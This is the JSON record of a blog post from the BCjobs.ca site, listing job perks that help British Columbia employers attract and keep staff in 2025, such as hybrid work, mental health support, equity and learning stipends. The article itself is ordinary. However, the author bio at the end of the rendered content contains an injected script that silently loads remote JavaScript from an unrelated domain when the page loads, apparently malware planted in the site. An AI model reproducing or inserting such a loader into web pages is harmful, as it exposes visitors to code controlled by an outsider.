{"id":10162,"date":"2025-04-22T14:00:54","date_gmt":"2025-04-22T21:00:54","guid":{"rendered":"https:\/\/www.bcjobs.ca\/blog\/?p=10162"},"modified":"2025-10-21T02:01:13","modified_gmt":"2025-10-21T09:01:13","slug":"top-job-talents-that-will-attract-top-talent-in-b-c-in-2025","status":"publish","type":"post","link":"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/","title":{"rendered":"The Best Job Perks That Will Attract Top Talent in B.C. in 2025"},"content":{"rendered":"<p>In 2025, hiring and keeping top talent in British Columbia is tougher than ever. Remote work is growing fast. At the same time, employees want more from their jobs. Many are searching for better work-life balance and more flexible options. Because of this, companies in B.C. are reworking their job offers to stay competitive and keep their best people. Today, a high salary alone is not enough. People want benefits that fit their values and support their daily lives. They also want job perks that help them grow and plan for the future. To stay competitive, <a href=\"https:\/\/www.bcjobs.ca\/employers\" target=\"_blank\" rel=\"noopener\">employers<\/a> need to offer flexible, meaningful, and personalized job perks.<\/p><div id=\"ez-toc-container\" class=\"ez-toc-v2_0_50 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\" role=\"button\"><label for=\"item-69ec715ad0cd5\" aria-hidden=\"true\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-69ec715ad0cd5\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Flexible_and_Hybrid_Work_Arrangements\" title=\"Flexible and Hybrid Work Arrangements\">Flexible and Hybrid Work Arrangements<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Mental_Health_and_Wellness_Support\" title=\"Mental Health and Wellness Support\">Mental Health and Wellness Support<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Equity_and_Profit_Sharing\" title=\"Equity and Profit Sharing\">Equity and Profit Sharing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Professional_Development_and_Learning_Stipends\" title=\"Professional Development and Learning Stipends\">Professional Development and Learning Stipends<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Enhanced_Parental_and_Family_Support\" title=\"Enhanced Parental and Family Support\">Enhanced Parental and Family Support<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Environmental_and_Purpose-Driven_Benefits\" title=\"Environmental and Purpose-Driven Benefits\">Environmental and Purpose-Driven Benefits<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Unique_Lifestyle_Perks_Tailored_to_the_BC_Lifestyle\" title=\"Unique Lifestyle Perks Tailored to the B.C. Lifestyle\">Unique Lifestyle Perks Tailored to the B.C. Lifestyle<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#Conclusion_Perks_That_Prioritize_People\" title=\"Conclusion: Perks That Prioritize People\">Conclusion: Perks That Prioritize People<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.bcjobs.ca\/blog\/top-job-talents-that-will-attract-top-talent-in-b-c-in-2025\/#_About_the_Author\" title=\"\u00a0About the Author\">\u00a0About the Author<\/a><\/li><\/ul><\/nav><\/div>\n\n<p>So, which perks really matter in 2025? In the next section, we\u2019ll look at the top benefits that help companies stand out. These job perks also help keep great employees for the long term.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Flexible_and_Hybrid_Work_Arrangements\"><\/span><b>Flexible and Hybrid Work Arrangements<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Remote and hybrid work is now the rule, not the exception. Employees across British Columbia have seen the benefits of working from home, from skipping long commutes to being able to manage personal commitments with more ease. In fact, a <\/span><a href=\"https:\/\/www.cbc.ca\/news\/business\/flexible-work-benefits-1.7110392\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">2024 CBC report<\/span><\/a><span style=\"font-weight: 400;\"> showed that 83% of Canadian workers prefer a hybrid or remote work model, and many job seekers won\u2019t even consider roles that don\u2019t offer some level of flexibility.<\/span><\/p>\n<p class=\"\" data-start=\"110\" data-end=\"356\">Companies like Shopify and Telus were early adopters of digital-first models. These approache<strong data-start=\"188\" data-end=\"208\">s<\/strong> prioritize results over time spent in the office. As a result, flexible work has become the norm\u2014especially in B.C.\u2019s tech hubs like Vancouver. Today, it\u2019s no longer a bonus. It\u2019s a must-have for attracting top talent from cities like Toronto, Seattle, and even international markets.<\/p>\n<p class=\"\" data-start=\"504\" data-end=\"714\"><strong data-start=\"504\" data-end=\"527\">To stay competitive<\/strong>, employers don\u2019t need to overhaul everything. Instead, they can start with small, meaningful changes\u2014like offering \u201cwork from anywhere\u201d weeks, no-meeting Fridays, or flexible hours.<\/p>\n<p>Over time, these simple perks can lead to major gains in employee satisfaction and retention.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Mental_Health_and_Wellness_Support\"><\/span><b>Mental Health and Wellness Support<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Wellness isn\u2019t just yoga mats and free snacks anymore. BC-based companies are significantly upping their game by providing holistic wellness support, especially post-pandemic. According to an <\/span><a href=\"https:\/\/www.morneaushepell.com\/ca-en\/insights\/morneau-shepell-mental-health-index\"><span style=\"font-weight: 400;\">industry-wide study by TELUS Health (formerly Morneau Shepell)<\/span><\/a><span style=\"font-weight: 400;\">, mental health remains one of the top concerns for Canadian employees.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Leading employers now offer expanded health benefits that include:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">On-demand therapy with registered professionals<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Access to wellness apps like Calm or Headspace<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Wellness spending accounts that can be used for classes, equipment, or holistic treatments<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><span style=\"font-weight: 400;\">Company-wide mental health days and digital detox initiatives<\/span><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Companies like Hootsuite and Lululemon, both headquartered in Vancouver, are recognized for prioritizing employee wellbeing\u2014and it\u2019s no coincidence they\u2019re often named among <a href=\"https:\/\/www.bcjobs.ca\/employers\" target=\"_blank\" rel=\"noopener\">B.C.\u2019s top employers.<\/a><\/span><\/p>\n<h3 class=\"\" data-start=\"275\" data-end=\"304\"><span class=\"ez-toc-section\" id=\"Equity_and_Profit_Sharing\"><\/span>Equity and Profit Sharing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"144\" data-end=\"367\">In the fast-paced world of tech and startups, equity has become one of the most attractive job perks. More than ever, employees are looking for more than just a paycheck\u2014they want to feel like true partners in the business.<\/p>\n<p class=\"\" data-start=\"369\" data-end=\"615\">Consequently, many companies now offer stock options, profit-sharing plans, or phantom shares. These types of benefits not only give employees a sense of ownership, <strong data-start=\"542\" data-end=\"554\">but also<\/strong> foster a strong culture of loyalty and long-term commitment.<\/p>\n<p class=\"\" data-start=\"617\" data-end=\"818\">Take Clio, for example\u2014a legal tech company based in Burnaby. By offering both stock options and profit-sharing, Clio has been able to attract top talent from the tech, business, and legal sectors.<\/p>\n<p class=\"\" data-start=\"820\" data-end=\"1079\">Moreover, equity can be a particularly powerful incentive in high-cost regions like Metro Vancouver. By providing a pathway to wealth-building, it helps employees feel more secure while giving companies a competitive edge in both hiring and retention.<\/p>\n<h3 class=\"\" data-start=\"1088\" data-end=\"1138\"><span class=\"ez-toc-section\" id=\"Professional_Development_and_Learning_Stipends\"><\/span>Professional Development and Learning Stipends<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"1138\" data-end=\"1349\">For ambitious employees, continuous growth is a priority. <strong data-start=\"1196\" data-end=\"1207\">In fact<\/strong>, a 2023 LinkedIn survey revealed that over 70% of workers would consider leaving a job if they didn\u2019t have opportunities to learn or advance.<\/p>\n<p class=\"\" data-start=\"1351\" data-end=\"1542\"><strong data-start=\"1351\" data-end=\"1370\">To address this<\/strong>, many companies now provide paid courses, learning stipends, or even sabbaticals. <a href=\"https:\/\/www.bcjobs.ca\/blog\/become-a-better-leader-with-leadership-development\/\" target=\"_blank\" rel=\"noopener\">These offerings help keep top performers motivated, engaged, and invested in their roles.<\/a><\/p>\n<p class=\"\" data-start=\"1544\" data-end=\"1588\"><strong data-start=\"1544\" data-end=\"1587\">Some of the most common options include<\/strong>:<\/p>\n<ul data-start=\"1590\" data-end=\"1797\">\n<li class=\"\" data-start=\"1590\" data-end=\"1625\">\n<p class=\"\" data-start=\"1592\" data-end=\"1625\">Annual education reimbursements<\/p>\n<\/li>\n<li class=\"\" data-start=\"1626\" data-end=\"1691\">\n<p class=\"\" data-start=\"1628\" data-end=\"1691\">Access to online learning platforms such as Coursera or Udemy<\/p>\n<\/li>\n<li class=\"\" data-start=\"1692\" data-end=\"1746\">\n<p class=\"\" data-start=\"1694\" data-end=\"1746\">Time off to attend industry events and conferences<\/p>\n<\/li>\n<li class=\"\" data-start=\"1747\" data-end=\"1797\">\n<p class=\"\" data-start=\"1749\" data-end=\"1797\">Mentorship and leadership development programs<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"1799\" data-end=\"2013\">Notably, this kind of support is especially attractive to Gen Z and younger millennials. For many of them, learning is not just a perk\u2014it\u2019s the fastest route to job satisfaction and long-term career growth.<\/p>\n<h3 class=\"\" data-start=\"1880\" data-end=\"1920\"><span class=\"ez-toc-section\" id=\"Enhanced_Parental_and_Family_Support\"><\/span>Enhanced Parental and Family Support<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"193\" data-end=\"394\">By 2025, family-focused benefits are no longer just a \u201cnice to have\u201d\u2014they\u2019re expected. With more employees balancing work and caregiving responsibilities, companies are stepping up to meet their needs.<\/p>\n<p class=\"\" data-start=\"396\" data-end=\"491\">As a result, leading employers in B.C. now offer a range of supportive programs, including:<\/p>\n<ul data-start=\"493\" data-end=\"708\">\n<li class=\"\" data-start=\"493\" data-end=\"546\">\n<p class=\"\" data-start=\"495\" data-end=\"546\">Parental leave top-ups beyond government minimums<\/p>\n<\/li>\n<li class=\"\" data-start=\"547\" data-end=\"582\">\n<p class=\"\" data-start=\"549\" data-end=\"582\">Onsite or subsidized child care<\/p>\n<\/li>\n<li class=\"\" data-start=\"583\" data-end=\"620\">\n<p class=\"\" data-start=\"585\" data-end=\"620\">Fertility and adoption assistance<\/p>\n<\/li>\n<li class=\"\" data-start=\"621\" data-end=\"708\">\n<p class=\"\" data-start=\"623\" data-end=\"708\">Paid \u201creturnship\u201d programs for those re-entering the workforce after extended leave<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"710\" data-end=\"938\"><strong data-start=\"710\" data-end=\"726\">For instance<\/strong>, BC Hydro and the University of British Columbia have implemented robust family-friendly policies. Thanks to these efforts, both organizations are consistently ranked among the top employers in the province.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Environmental_and_Purpose-Driven_Benefits\"><\/span><b>Environmental and Purpose-Driven Benefits<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"992\" data-end=\"1245\">As concern for climate change and social impact continues to grow, more employees\u2014especially millennials and Gen Z\u2014are seeking workplaces that reflect their values. In this new landscape, <a href=\"https:\/\/www.bcjobs.ca\/blog\/how-climate-commitments-are-changing-the-job-market\/\" target=\"_blank\" rel=\"noopener\">purpose-driven benefits are becoming essential, not optional.<\/a><\/p>\n<p class=\"\" data-start=\"1247\" data-end=\"1377\">To meet this demand, companies are increasingly offering perks that promote sustainability and social responsibility, such as:<\/p>\n<ul data-start=\"1379\" data-end=\"1595\">\n<li class=\"\" data-start=\"1379\" data-end=\"1430\">\n<p class=\"\" data-start=\"1381\" data-end=\"1430\">Volunteer days or paid volunteer time off (VTO)<\/p>\n<\/li>\n<li class=\"\" data-start=\"1431\" data-end=\"1477\">\n<p class=\"\" data-start=\"1433\" data-end=\"1477\">Carbon offset programs for business travel<\/p>\n<\/li>\n<li class=\"\" data-start=\"1478\" data-end=\"1538\">\n<p class=\"\" data-start=\"1480\" data-end=\"1538\">Employee resource groups focused on inclusion and equity<\/p>\n<\/li>\n<li class=\"\" data-start=\"1539\" data-end=\"1595\">\n<p class=\"\" data-start=\"1541\" data-end=\"1595\">Matching donations to nonprofits chosen by employees<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"1597\" data-end=\"1813\"><strong data-start=\"1597\" data-end=\"1608\">Notably<\/strong>, organizations like MEC and Vancity have built strong employer brands by embracing these values. As a result, they\u2019ve earned the loyalty of passionate employees and enjoy a positive public reputation.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Unique_Lifestyle_Perks_Tailored_to_the_BC_Lifestyle\"><\/span><b>Unique Lifestyle Perks Tailored to the B.C. Lifestyle<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"\" data-start=\"121\" data-end=\"399\">Let\u2019s not forget where we are\u2014British Columbia is a paradise for cycling, hiking, snowboarding, and ocean kayaking. Because of that, smart employers are leaning into the local lifestyle. They know that offering perks that fit the B.C. way of life makes a big difference.<\/p>\n<p class=\"\" data-start=\"401\" data-end=\"437\">For example, this could include:<\/p>\n<ul data-start=\"439\" data-end=\"638\">\n<li class=\"\" data-start=\"439\" data-end=\"466\">\n<p class=\"\" data-start=\"441\" data-end=\"466\">Outdoor gear allowances<\/p>\n<\/li>\n<li class=\"\" data-start=\"467\" data-end=\"505\">\n<p class=\"\" data-start=\"469\" data-end=\"505\">Transit passes or e-bike subsidies<\/p>\n<\/li>\n<li class=\"\" data-start=\"506\" data-end=\"581\">\n<p class=\"\" data-start=\"508\" data-end=\"581\">\u201cPowder day\u201d policies, so staff can hit the slopes after fresh snowfall<\/p>\n<\/li>\n<li class=\"\" data-start=\"582\" data-end=\"638\">\n<p class=\"\" data-start=\"584\" data-end=\"638\">Dog-friendly offices or pet insurance for pet owners<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"640\" data-end=\"944\">In other words, companies are finding ways to match their benefits with the local culture. By doing so, they show they truly understand what makes living in B.C. special. As a result, they have a big advantage when it comes to attracting talent\u2014whether from across Canada or around the world.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Conclusion_Perks_That_Prioritize_People\"><\/span><b>Conclusion: Perks That Prioritize People<\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The competition for talent in B.C. will only intensify in 2025, and the best job perks will be those that put people first. Flexibility, mental wellness, ownership opportunities, career growth, family support, environmental values, and lifestyle alignment\u2014these are no longer just benefits. They\u2019re expectations.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">If you\u2019re an employer in British Columbia looking to stand out in the market, now is the time to evaluate your job perks through the lens of <a href=\"https:\/\/www.bcjobs.ca\/login\" target=\"_blank\" rel=\"noopener\">today\u2019s job seekers.<\/a> The right mix of thoughtful benefits will not only attract top performers but also help retain and inspire the team you\u2019ve already built.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Looking to dive deeper into what employees really want? Explore this <\/span><a href=\"https:\/\/www.glassdoor.com\/employers\/blog\/benefits-employees-want-2022\/\" target=\"_blank\" rel=\"noopener\"><span style=\"font-weight: 400;\">Glassdoor guide on modern employee perks<\/span><\/a><span style=\"font-weight: 400;\"> and Canada&#8217;s Top 100 Employers list to get inspired by the best in the country.<\/span><\/p>\n<hr \/>\n<h3><span class=\"ez-toc-section\" id=\"_About_the_Author\"><\/span><strong>\u00a0<\/strong><strong>About the Author<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Simon Chou is the Advisor and CEO at<\/span><a href=\"http:\/\/www.bcjobs.ca\"><span style=\"font-weight: 400;\"> BCjobs.ca<\/span><\/a><span style=\"font-weight: 400;\">. Over the course of his career, he carved a niche in brand development, marketing strategy, and online presence for startups. In Addition to<\/span><a href=\"http:\/\/www.bcjobs.ca\"><span style=\"font-weight: 400;\"> BCJobs.ca<\/span><\/a><span style=\"font-weight: 400;\">, Simon is hosting unfiltered conversations with marketing experts in our podcast<\/span><a href=\"https:\/\/marketingonmars.com\/\"><span style=\"font-weight: 400;\"> \u201cMarketing On Mars\u201d<\/span><\/a><span style=\"font-weight: 400;\">. Tune into our last episode to hear from Marketing Leaders how they approach work and how they grew in their careers.<\/span><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In 2025, hiring and keeping top talent in British Columbia is tougher than ever. Remote work is growing fast. At the same time, employees want more from their jobs. Many are searching for better work-life balance and more flexible options. Because of this, companies in B.C. are reworking their job offers to stay competitive and [&hellip;]<\/p>\n","protected":false},"author":109,"featured_media":10200,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[11,173,149,152,18,1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/10162"}],"collection":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/users\/109"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/comments?post=10162"}],"version-history":[{"count":5,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/10162\/revisions"}],"predecessor-version":[{"id":10820,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/posts\/10162\/revisions\/10820"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media\/10200"}],"wp:attachment":[{"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/media?parent=10162"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/categories?post=10162"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcjobs.ca\/blog\/wp-json\/wp\/v2\/tags?post=10162"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}